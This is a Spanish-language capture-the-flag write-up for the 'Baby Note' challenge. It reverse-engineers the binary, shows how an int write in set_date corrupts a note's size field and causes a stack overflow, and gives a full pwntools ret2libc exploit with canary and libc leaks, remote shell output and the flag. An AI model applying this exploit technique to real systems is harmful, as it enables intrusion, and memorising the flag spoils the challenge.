Baby Note(streses)
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Podemos ver que ya está parcheado para usar la librería de Glibc versión 2.36 y el cargador proporcionados:
$ ldd chall
linux-vdso.so.1 (0x00007ffdc83d7000)
libc.so.6 => ./libc.so.6 (0x00007d62c1390000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007d62c157a000)
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos una función main
que establece una configuración del buffering y luego llama a la función principal real (renombrada como do_main
):
void do_main() {
unsigned char option;
bool do_exit = false;
LAB_00101d0b:
while (true) {
if (do_exit) {
puts("See you next time!");
return;
}
menu();
option = get_int();
if (option != 3) break;
do_exit = true;
}
if (option < 4) {
if (option == 2) {
edit();
goto LAB_00101d0b;
}
if (2 < option) goto LAB_00101cec;
if (option == 0) {
create();
goto LAB_00101d0b;
}
if (option == 1) {
view();
goto LAB_00101d0b;
}
}
LAB_00101cec:
printf("Invalid option! %x %c\n", (unsigned long) option, (unsigned long) option);
goto LAB_00101d0b;
}
Hay muchas funciones para analizar. Sin embargo, esta vez me saltaré la mayoría de ellas y solo me enfocaré en las que realmente son importantes para el exploit. Además, el binario es stripped, por lo que he puesto nombres a las funciones según su propósito.
Antes de eso, necesitamos comprender cómo el programa guarda datos en estructuras:
$ ./chall
Wellcome to your note taking app:)
0: Create new note
1: View existing note
2: Edit existing note
3: Exit app
> 0
Choose the note index (0-9)
> 0
Choose note size [(S)mall/(m)edium/(l)arge]: l
Input your text: asdf
Current text:
asdf
Keep changes? [y/N]: y
Set the note's date (format: dd/mm/yy):
11/22/33
Tenemos muchos campos. Para mejorar la legibilidad en Ghidra, podemos crear estructuras personalizadas, ya sea haciendo clic en “Auto Create Struct” o agregando una nueva con el Data Type Manager. Supuse que este era el mejor ajuste:
struct date_t {
short dd;
short mm;
short yy;
};
struct note_t {
struct date_t date;
unsigned short size;
short used;
char data[256];
};
Encontrando la vulnerabilidad
Ahora vayamos a la función edit
:
void edit() {
unsigned char index = get_index();
if (notes[(int) (unsigned int) index].used == 0) {
puts("You can\'t edit a non-existing note, create it instead!");
} else {
do_write(notes + (int) (unsigned int) index);
}
}
Bueno, es solo un wrapper para do_write
. Solo verifica que la nota realmente contiene used! = 0
. Obsérvese cómo hay un acceso out-of-bounds (OOB), porque podemos usar cualquier índice positivo para acceder a la lista global. Sin embargo, no es relevante porque estamos limitados al rango 0-255 (unsigned char
), y no hay nada jugoso debajo de la lista global notes
(en la sección .bss). Vamos entonces a do_write
:
void do_write(note_t *note) {
char *newline;
long in_FS_OFFSET;
unsigned int size;
char yn[3] = { 0 };
char data[256] = { 0 };
long _canary;
unsigned short _size;
bool done = false;
_canary = *(long *) (in_FS_OFFSET + 0x28);
_size = note->size;
if (_size == 2) {
size = 0xff;
} else if (_size < 3) {
if (_size == 0) {
size = 0x3f;
} else if (_size == 1) {
size = 0x7f;
}
}
while (!done) {
printf("Input your text: ");
read(0, data, (unsigned long) (size % 1000));
puts("Current text:");
printf("%s", data);
printf("\nKeep changes? [y/N]: ");
__isoc99_scanf("%2s", yn);
if ((yn[0] == 'y') || (yn[0] == 'Y')) {
done = true;
} else {
done = false;
}
}
snprintf(note->data, 0xff, "%s", data);
newline = strchr(note->data, '\n');
if (newline != NULL) {
*newline = '\0';
}
if (_canary == *(long *) (in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
A primera vista, no tiene ningún problema. La sentencia % 1000
es rara, pero nada útil para explotar. Lo único que podría romper esta función es un valor de note->size
diferente de 0
, 1
ó 2
; porque el bloque if
-else
no tiene una opción predeterminada. Pero eso no puede suceder, ¿verdad?
Según create
, el atributo se establece correctamente, porque hay una rama predeterminada en el bloque if
-else
:
void create(void) {
unsigned char index;
int i;
int _size;
long in_FS_OFFSET;
char size[2];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
index = get_index();
i = (int) index;
if (notes[i].used == 0) {
notes[i].used = 1;
printf("Choose note size [(S)mall/(m)edium/(l)arge]: ");
__isoc99_scanf("%2s", size);
if (size[0] < 'a') {
_size = size[0] + 0x20;
} else {
_size = (int) size[0];
}
if (_size == 'l') {
notes[i].size = 2;
} else if (_size == 'm') {
notes[i].size = 1;
} else {
notes[i].size = 0;
}
do_write(notes + i);
set_date(¬es[i].date);
} else {
printf("There already exists a note in index %d\n", (unsigned long) index);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Analicemos set_date
, que recibe un puntero a la dirección donde aparece el atributo date
en la estructura:
void set_date(date_t *date) {
long in_FS_OFFSET;
int dd;
int mm;
int yy;
date_t *local_18;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
dd = 0;
mm = 0;
yy = 0;
local_18 = date;
puts("Set the note\'s date (format: dd/mm/yy):");
__isoc99_scanf("%d/%d/%d", &dd, &mm, &yy);
local_18->dd = (short) (dd & 0xffffU);
local_18->mm = (short) ((dd & 0xffffU) >> 0x10);
*(unsigned int *) local_18 = mm * 0x10000 + *(unsigned int *) local_18;
*(int *) &local_18->yy = yy;
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Traté de hacer que Ghidra mostrara el código mejor, pero no pude hacerlo. En realidad, el código se ve muy extraño. De hecho, el problema aquí es que los números de fecha se leen como int
con %d
. Esta línea es que hace que el programa sea explotable:
*(int *) &local_18->yy = yy;
Está escribiendo en yy
como un int
. Esto significa que podemos modificar el atributo de size
de la nota actual, de acuerdo con las estructuras previamente definidas:
struct note_t {
struct date_t {
short dd;
short mm;
short yy;
};
unsigned short size;
short used;
char data[256];
};
Un int
es el doble de tamaño que un short
, por lo que podemos pisotear el atributo size
con los bytes superiores.
Vulnerabilidad de Buffer Overflow
Una vez que tenemos esta situación, obtenemos una vulnerabilidad de Buffer Overflow dentro del bucle while
de do_write
:
while (!done) {
printf("Input your text: ");
read(0, data, (unsigned long) (size % 1000));
puts("Current text:");
printf("%s", data);
printf("\nKeep changes? [y/N]: ");
__isoc99_scanf("%2s", yn);
if ((yn[0] == 'y') || (yn[0] == 'Y')) {
done = true;
} else {
done = false;
}
}
Estrategia de explotación
Hay un canario de pila, por lo que tendremos que sobrescribir su byte nulo para poder imprimirlo con printf
. Luego podemos continuar fugando direcciones de memoria como direcciones del binario (para saltarnos la protección PIE), direcciones de Glibc (para saltarnos el ASLR) e incluso direcciones del stack.
Usaremos un ataque ret2libc (es decir, llamaremos a system("/bin/sh")
) usando una cadena ROP. Observe que saltarse PIE no es necesario porque hoy en día no podemos encontrar el clásico gadget pop rdi; ret
. Por lo tanto, solo nos queda usar Glibc para encontrar gadgets ROP.
No escribiré más información sobre la técnica ret2libc porque hay muchos recursos para aprender de esto. Es posible que desee leer estos escritos, donde me sumerjo en el proceso de explotación: Here’s a LIBC, Shooting Star y Notepad as a Service.
Desarrollo del exploit
Estas son algunas funciones auxiliares:
def create(index: int, text: bytes, date: tuple[int, int, int], size: bytes = b'l'):
io.sendlineafter(b'> ', b'0')
io.sendlineafter(b'> ', str(index).encode())
io.sendlineafter(b'Choose note size [(S)mall/(m)edium/(l)arge]: ', size)
io.sendafter(b'Input your text: ', text)
io.sendlineafter(b'Keep changes? [y/N]: ', b'y')
io.sendlineafter(b"Set the note's date (format: dd/mm/yy):\n", '{}/{}/{}'.format(*date).encode())
def edit(index: int, text: bytes, yn: bytes = b'n') -> bytes:
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'> ', str(index).encode())
return re_edit(text, yn)
def re_edit(text: bytes, yn: bytes = b'n') -> bytes:
io.sendafter(b'Input your text: ', text)
res = io.recvuntil(b'\nKeep changes? [y/N]: ', drop=True)
io.sendline(yn)
return res if yn == b'n' else b''
Nótese que edit
solo llama a re_edit
, que se ejecuta en el bucle while
.
Este es el código de exploit real, un ataque ret2libc clásico con ROP:
io = get_process()
create(0, b'A', (-1, -1, -1))
canary = u64(b'\0' + edit(0, b'A' * 265).split(b'A' * 265)[1][:7])
glibc.address = u64(re_edit(b'A' * 360).split(b'A' * 360)[1].ljust(8, b'\0')) - 0x2718a
io.success(f'Canary: {hex(canary)}')
io.success(f'Glibc base address: {hex(glibc.address)}')
rop = ROP(glibc)
payload = b'A' * 264
payload += p64(canary)
payload += b'A' * 8
payload += p64(rop.ret.address)
payload += p64(rop.rdi.address)
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
re_edit(payload , b'y')
io.interactive()
El último re_edit
contiene la cadena ROP y sale del bucle while
para ejecutarla.
Con esto, tenemos una shell en local:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
[+] Starting local process './chall': pid 3402575
[+] Canary: 0xd441f1a90a586d00
[+] Glibc base address: 0x7ed154f42000
[*] Loaded 195 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ whoami
rocky
Flag
Entonces, capturemos la flag en la instancia remota:
$ python3 solve.py 0.cloud.chals.io 12265
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 0.cloud.chals.io on port 12265: Done
[+] Canary: 0x87698d8c3b225600
[+] Glibc base address: 0x7f263b1cf000
[*] Loaded 195 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
bin
boot
chall
dev
etc
flag-66a1b548535c14016a8ba9d1164ebfb4.txt
home
ld-linux-x86-64.so.2
lib
lib64
libc.so.6
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat flag-*
HackOn{ll3v0_48_h0r4s_s1n_d0rm1r_n0_c4p_ea591aaa784412f3a9deca0aed2ca3ef}
El exploit completo se puede encontrar aquí: solve.py
.